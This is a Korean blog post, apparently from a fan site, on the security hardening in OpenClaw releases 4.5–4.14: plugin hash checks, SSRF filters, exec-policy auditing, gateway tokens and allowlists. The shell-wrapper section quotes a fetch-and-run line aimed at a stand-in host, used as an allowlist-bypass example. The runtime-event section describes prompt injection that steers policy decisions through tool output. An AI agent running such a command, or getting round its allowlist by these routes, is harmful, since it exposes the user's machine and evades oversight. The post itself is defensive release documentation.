이 사이트는 팬이 만든 커뮤니티 사이트입니다. OpenClaw 공식 또는 Anthropic과 관련이 없습니다. github.com/openclaw/openclaw
release security browser breaking-changes

OpenClaw 4.5–4.14: 두 번째 공성전 — 당신이 아마 눈치채지 못했을 열흘간의 보안 작업

OpenClaws.io Team

OpenClaws.io Team

@openclaws

April 14, 2026

10 분 소요

OpenClaw 4.5–4.14: 두 번째 공성전 — 당신이 아마 눈치채지 못했을 열흘간의 보안 작업

이번 릴리스 묶음의 대부분은 스크린샷에 올라올 일이 없다. 열흘, 여덟 개의 릴리스, 그리고 diff의 대부분은 뭔가 잘못되지 않는 한 당신이 쳐다보지 않는 자리에 있다 — 플러그인 로더, 브라우저 툴의 URL 리졸버, 게이트웨이 설정 엔드포인트, 얼라우리스트 테이블, 의존성 매니페스트. 보안 작업은 설계상 조용하다. 이 글은 그 조용함의 긴 버전이다.

OpenClaw가 돌아가는 노트북에 당신의 SSH 키, 패스워드 매니저, 아직 제출하지 않은 세금 신고서, 그리고 온갖 데에 로그인돼 있는 브라우저까지 같이 있다면 — 계속 읽어달라. 이번 릴리스 묶음은 로브스터가 손댈 수 있는 것의 경계를 바꾼 릴리스다.

플러그인은 이제 다운로드만이 아니라 검증된다

4.7 전까지, 레지스트리에서 플러그인을 설치한다는 건 당신이 기대하는 그대로였다: 아카이브를 받아와서, 풀고, 실행한다. 레지스트리 자체는 신뢰되었고, 아카이브는 다시 체크되지 않았다. 레지스트리의 CDN이 도중에 바꿔치기 된다거나, 미러가 오염된다거나, 엣지에서 누군가 가로챈다면, 로브스터는 돌아온 걸 신나게 설치해버린다.

4.7이 그걸 닫는다. 모든 플러그인 아카이브는 이제 퍼블리시 시점에 SHA-256 해시로 핀 고정되고, 인스톨러는 바이트가 일치하지 않는 건 풀어내지 않는다. 플러그인을 쓰고 있다면, openclaw plugin publish 플로우가 이제 매니페스트에 해시를 자동으로 박는다 — 당신이 직접 할 일은 없다. 플러그인을 설치하는 쪽이라면, 뭔가 잘못됐다는 첫 신호가 조용한 설치가 아니라 깔끔한 에러다.

4.9의 후속 작업은 같은 검증을 플러그인 업데이트까지 확장했다. 그전까지는 "이전 버전은 이미 통과했잖아"라는 이유로 조용히 체크를 건너뛰고 있었다. 그런 가정이 정확히 공격자들이 찾는 종류다. 이제 사라졌다.

브라우저 툴의 SSRF 필터, 세 번에 걸쳐

브라우저 툴은 로브스터가 페이지를 가져오고, 링크를 따라가고, 적당한 양의 자바스크립트를 돌리고, 찾은 걸 돌려주는 통로다. 제품에서 가장 유용한 것 중 하나이자, 동시에 가장 위험한 것 중 하나다 — LLM을 대신해서 URL을 가져오는 건 무엇이든 잘못된 URL을 가져오도록 꼬드겨질 수 있다. Server-Side Request Forgery(SSRF)가 그 실패 모드의 점잖은 이름이다.

이 열흘 동안, SSRF 필터는 세 번 다시 쓰였다.

4.7은 호스트 얼라우리스트 체크가 DNS 해석 이 아니라 에 돌도록 조였다. 예전 버전은 호스트 이름 문자열을 얼라우리스트와 비교한 다음에 해석했다. 다시 말해 외부처럼 보이지만 조작된 DNS 레코드를 통해 127.0.0.1로 해석되는 호스트 이름이 빠져나갈 수 있었다. 이제는 해석된 IP가 프라이빗과 루프백 범위의 거부 리스트와 대조되고, 그 안에 떨어지면 이름이 어떻게 생겼든 요청은 거부된다.

4.9는 IPv6 커버리지를 추가했다. 이전 작업은 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 그리고 링크 로컬을 다뤘다 — 전부 IPv4다. IPv6 대응물(fc00::/7, fe80::/10, ::1)은 기술적으로는 "얼라우리스트에 없음" 폴백으로 커버되고 있었지만, 엔드 투 엔드로 테스트된 적은 한 번도 없었다. 4.9는 그것들을 퍼스트 클래스 거부로 만들고 테스트 매트릭스도 추가했다.

4.10은 리다이렉트 추적 구멍을 닫았다. 첫 번째 URL이 필터를 통과했어도, 302로 프라이빗 IP로 넘어가면 리다이렉트가 다시 체크되지 않은 채로 따라가고 있었다. 이제 리다이렉트 체인의 모든 홉이 독립적으로 필터링된다. 브라우저 툴은 퍼블릭 호스트에서 다른 퍼블릭 호스트로의 리다이렉트는 하루 종일 따라가지만, 퍼블릭 호스트에서 169.254.169.254로 가는 리다이렉트는 따라가지 않는다 — 이건 클라우드 인스턴스 안에서 이걸 돌리고 있다면 진짜로 중요한 주소다.

4.14는 일부 사람들에게 실제 호환성 단절을 일으킬 릴리스다. 브라우저 툴 표면에서 file:// URL이 완전히 비활성화된다. 브라우저 툴을 통해 로컬 파일을 읽는 건 문서화되지 않은 부작용이었고, 몇몇 워크플로가 거기에 기대기 시작하고 있었다 — 그건 틀린 경로였다. 로컬 파일 읽기는 파일 툴의 소관이고, 파일 툴에는 그 자체의 샌드박싱 이야기가 있다. 바로가기로 browser.open('file://...') 를 쓰고 있었다면, file.read로 바꾸고, 그 툴이 당신의 세팅에서 강제하는 얼라우리스트가 뭐든 받아들여야 한다.

로브스터가 실행할 수 있는 것을 감사하는 새 CLI

4.10이 openclaw exec-policy를 출시했다 — 현재 워크스페이스에서 유효한 셸 실행 정책을 덤프하는 읽기 전용 CLI다. 한 화면에서 말해준다: 어떤 명령이 얼라우리스트에 있는지, 어떤 게 거부되는지, 어떤 게 확인을 요구하는지, 그리고 각 규칙의 출처(사용자 설정, 워크스페이스 설정, 플러그인, 디폴트)가 무엇인지.

이건 새 플러그인을 설치한 다음에 돌려봐야 할 물건이다. 플러그인은 셸 명령을 등록할 수 있다; 대부분은 괜찮다; 일부는 로브스터가 실행할 수 있는 범위를 조용히 넓혀놓는다. 4.10 전에는 그 합쳐진 결과를 볼 수 있는 단일 면이 없었다 — 여러 설정 파일을 읽고 우선순위를 스스로 추론해야 했다. 이제는 명령 하나로 끝이고, 출력은 테스트로 파이프할 수 있을 만큼 안정적이다.

4.12의 짝꿍 변경은 더 작지만 얄궂다: exec 레이어가 이제 얼라우리스트를 몰래 넘기려는 셸 래퍼 호출을 감지한다. 고전적인 패턴은 bash가 허용돼 있고 curl이 허용되지 않을 때의 bash -c 'curl evil.example | sh' 다. 래퍼 감지가 -c 형식을 플래그로 잡고, 안쪽 명령 문자열을 풀어낸 뒤, 마치 직접 호출된 것처럼 안쪽 명령을 얼라우리스트에 통과시킨다. 안쪽 명령이 거부되어야 하는 것이었다면, 바깥 래퍼도 거부된다.

게이트웨이 설정 엔드포인트에 가드가 붙었다

게이트웨이 모드로 OpenClaw를 돌리고 있다면 — 여러 클라이언트가 하나의 로브스터 인스턴스를 공유하는 모드 — 게이트웨이는 서버 설정을 읽고 쓰기 위한 작은 관리자 API를 노출한다. 4.7과 4.14가 이쪽을 조였다.

4.7은 config.apply(설정 전체 교체)와 config.patch(부분 업데이트 병합)를 분리했다. 둘 다 이전부터 있었지만 한 코드 경로를 공유하고 있었고, 병합 시맨틱이 덜 정의되어 있어서 형제 키에 패치를 걸다가 중첩된 admin 키를 지워버릴 수 있었다. 분리 덕분에 각 동사가 자체 밸리데이터를 가진다. 패치는 이제 진짜 딥 머지이고, 명시적 삭제는 $delete 센티넬을 요구한다; apply는 완전히 유효한 설정을 요구하고, 아니면 요청은 거부된다.

4.14는 게이트웨이가 localhost 외의 것에 바인드돼 있을 때 두 엔드포인트 모두에 서명된 토큰 요구사항을 추가했다. 개발 머신에서 --host 0.0.0.0으로 게이트웨이를 돌리고, 네트워크 분리만 믿고 사람들을 막아왔다면 — 게이트웨이는 이제 그 구성에서 시작을 거부한다. 예외는 --admin-token을 같이 넘기거나, --admin-insecure로 명시적으로 옵트아웃하는 것이다. 플래그 이름은 일부러 흉하게 만들었다. 예전 동작을 되찾으려면 "insecure"라는 단어를 직접 타자로 쳐야 하게 만들어놨다.

템플릿 데이터로 위장됐던 자격증명

4.12는 오래 끌어온 지저분한 문제 하나를 고쳤다: 새 워크스페이스에 번들되는 .env.example 파일에, 진짜처럼 보이는 플레이스홀더 API 키들이 들어 있어서, 그걸 더미라고 생각하고 퍼블릭 리포에 커밋한 사용자가 적어도 한 명 있었다. 진짜 더미였다 — 값은 전부 0으로 채운 문자열이고 어떤 프로바이더에서도 유효하지 않다 — 그러나 모양이 자격증명이어서, 우리가 확인한 린터들은 그걸 누출된 것으로 보고했다. 새 .env.example은 명백하게 가짜 토큰(REPLACE_ME_OR_I_WILL_FAIL)을 쓰고, openclaw init 플로우는 그런 센티넬 값을 담고 있는 .env 파일 쓰기를 거부한다.

작은 일이다. 결과도 크지 않다. 다만 고치는 데 드는 비용은 한 오후였고, 고치지 않는 비용은 "우리가 설명해야 할 퍼블릭 인시던트가 또 하나"였다.

얼라우리스트 경계, 조용히 조여진다

이번 묶음의 모든 릴리스에 걸쳐, 로브스터와 바깥 세상 사이에 앉아 있는 얼라우리스트 테이블들이 작고 구체적인 방식으로 조여졌다:

  • 4.5: 음악 툴의 출력 디렉터리가 ./generated/music으로 디폴트 된다 — 워크스페이스가 어쩌다 "output"이라고 생각하는 자리가 아니라.
  • 4.7: 메모리 임포트 소스가 file://, https://, 그리고 특정 프로바이더 URL로 제한되었다. 예전 코드는 urllib이 파싱할 수 있는 모든 URL 스킴을 받았고, 그 중에는 놀라운 것들도 있었다.
  • 4.9: 영상 생성 툴의 업로드 경로가 더 이상 워크스페이스 루트 밖의 절대 경로를 받지 않는다.
  • 4.10: 플러그인 매니페스트가 더 이상 *를 얼라우리스트 패턴으로 선언할 수 없다. 구체적인 도메인이나 메서드를 지명해야 한다.
  • 4.14: Codex 프로바이더의 전용 클라이언트가 통합 얼라우리스트와 별도의 얼라우리스트를 존중한다. 그래서 Codex를 조였을 때 다른 모든 게 실수로 느슨해지지 않는다.

개별로 보면 어느 것도 이야깃거리가 아니다. 합쳐놓고 보면, 폭발 반경을 올바른 방향으로 밀어준다.

런타임 이벤트 신뢰, 격하

4.7, 4.9, 4.14를 관통하는 좀 더 미묘한 변경: 런타임에서 오는 이벤트(툴 호출, 모델 출력, 플러그인 콜백)는 더 이상 정책 엔진으로 들어가는 신뢰된 입력으로 취급되지 않는다. 이전에는, 구조화된 이벤트를 내보내는 툴이 자기가 제어하는 데이터를 통해 이후의 얼라우리스트 결정에 영향을 미칠 수 있었다 — 고전적인 "프롬프트 인젝션이 정책 계층까지 닿는" 실패 모드다. 런타임 이벤트는 이제 이후의 어떤 정책 평가에도 영향을 주기 전에 별도의 새니타이즈 단계를 통과한다. 그리고 정책 엔진은 provenance가 "runtime"인 필드를, 사람 오퍼레이터가 명시적으로 핀 고정하지 않는 한 오염된 것으로 취급한다.

실제로 이 말이 뜻하는 바: 로브스터 자기 자신의 툴 출력이 자기 동작을 좁혀주는 데 기대던 일부 엣지 케이스 워크플로는 다시 쓰여야 한다. 동작을 좁히는 의도된 방식은 이제 정책 규칙을 쓰는 것이지, 툴에 힌트를 내보내게 하는 게 아니다. 여기에 걸렸다면, 4.10의 exec-policy CLI가 진단 도구다.

의존성 감사

4.9와 4.14 모두 cargo auditnpm audit을 풀 패스로 돌렸고, 열린 권고가 달린 추이 의존성을 전부 올렸다. 우리가 아는 한 리스트에 있는 것 중 OpenClaw를 상대로 악용되고 있던 건 없다; 이건 유지보수이지 인시던트 대응이 아니다. 범프는 의도적으로 지루하다.

지루하지 않은 한 건: 게이트웨이가 쓰는 WebSocket 라이브러리가 4.14에서 메이저 버전을 넘어갔는데, 클로즈 프레임의 reason 코드 보고 방식이 바뀌었다. 게이트웨이의 소켓 연결 끊김 시그널에서 event.reason을 읽는 코드가 있었다면, 이제 그건 버퍼가 아니라 문자열이다. 이건 호환성 단절이다. 4.14 changelog에 명시되어 있다.

새 시그널: AI 보조 보안 감사

언급할 가치가 있는 마지막 한 가지 — 4.14는 보안 관련 diff가 머지되기 전에 두 번째 모델이 리뷰하는 내부 워크플로를 도입했다. 머지를 막지는 않는다; 코멘트를 남긴다. 이번 묶음에서, 그것은 사람 리뷰가 넘겨보냈던 두 건을 잡았다: 4.9 SSRF 재작성에 있던 IPv6 구멍(머지 전에 수정되었다)과 4.7 config.patch 분할에 있던 $delete 센티넬의 모호함(암시적 밸리데이터 대신 명시적인 것이 되는 계기가 되었다).

과하게 주장하고 싶지는 않다. 두 번째 모델은 두 번째 사람의 대체재가 아니다. 다만 그건 두 번째 패스이고, 빠르게 움직이던 열흘간의 보안 작업에서 그게 없었다면 출시되었을 두 건을 잡아낸 패스였다. 남긴다.

짧은 버전

이 글에서 한 가지만 가져가겠다면: openclaw update로 4.14까지 올리고, 그다음 openclaw exec-policy를 한 번 돌려서 로브스터가 당신의 머신에서 실제로 무엇을 할 수 있는지 확인해달라. 출력이 당신을 놀라게 한다면, 조이면 된다. 지난 열흘 작업의 의미가 바로 거기에 있다 — 이제는 조일 수 있다.

그리고 admin 토큰 없이 --host 0.0.0.0에서 게이트웨이를 돌리고 있는 사람 중 하나라면 — openclaw update를 돌리기 전에 그걸 먼저 고쳐달라. 4.14는 그 구성에서 시작을 거부하기 때문이고, 우리는 당신이 에러 메시지를 먼저 보고 뭔가 망가졌다고 생각하기 전에 이 글을 먼저 읽었기를 바란다.

소식 받기

새 기능과 연동 소식을 알려드려요. 스팸 없음, 언제든 구독 취소 가능.